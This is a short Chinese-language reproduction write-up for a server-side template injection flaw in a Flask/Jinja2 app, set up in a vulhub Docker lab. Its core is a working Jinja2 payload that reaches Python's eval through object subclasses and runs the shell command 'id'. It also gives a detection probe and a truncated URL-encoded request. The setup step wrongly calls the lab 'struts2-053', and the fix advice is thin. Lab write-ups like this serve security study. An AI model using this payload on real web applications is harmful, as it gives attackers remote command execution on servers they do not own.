Flask（Jinja2） 服务端模板注入漏洞

1、CVE

无

2、危害等级

高危

3、漏洞描述

参考：https://portswigger.net/blog/server-side-template-injection

4、公开日期

未知

5、利用工具

无

复现过程

1、运行struts2-053docker环境

```
0x1: git clone https://github.com/vulhub/vulhub.git
0x2: cd //vulhub/flask/ssti
0x3: docker-compose up -d
```

2、漏洞测试

2.1 访问http://your-ip/?name={{233*233}}，得到54289，说明SSTI漏洞存在。

2.2 Payload

```
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
```

2.3 访问

```
http://127.0.0.1:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subc
```

得到执行结果：

修复建议

更新flask版本